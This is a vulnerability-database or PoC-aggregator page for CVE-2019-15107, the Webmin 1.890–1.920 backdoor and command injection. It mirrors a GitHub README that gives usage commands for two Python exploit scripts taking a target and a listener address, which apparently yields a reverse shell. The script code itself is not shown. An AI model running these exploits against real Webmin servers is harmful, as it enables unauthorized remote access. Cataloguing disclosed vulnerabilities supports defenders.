CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

Source

https://github.com/aamfrk/Webmin-CVE-2019-15107

Associated Vulnerability

Title:Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
Description:An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

Description

Exploit for Webmin servers versions 1.890 through 1.920.

Readme

# Webmin CVE-2019-15107

Exploits a backdoor in Webmin servers versions 1.890 through 1.920.

Version 1.890 can be exploited on the default installation.
Versions 1.900, 1.910 and 1.920 require the expired password change feature to be enabled.

|File                |Version               |
|--------------------|----------------------|
|cve201915107.py     |1.900, 1.910 and 1.920|
|cve201915107_1890.py|1.890                 | 

**Usage:** 

```
python cve201915107.py 'target_ip' 'target_port' 'lhost' 'lport'
```

or 

```
python cve201915107_1890.py 'target_ip' 'target_port' 'lhost' 'lport'
```

**Example:**

```
python cve201915107.py 192.168.1.202 10000 192.168.1.100 4444
```

or

```
python cve201915107_1890.py 192.168.1.202 10000 192.168.1.100 4444
```

File Snapshot


 [4.0K]  /data/pocs/63d62b25a42be9a3f17390874fe3547dd37044f1
├── [3.4K]  cve201915107_1890.py
├── [3.3K]  cve201915107.py
├── [ 34K]  LICENSE
└── [ 768]  README.md

0 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!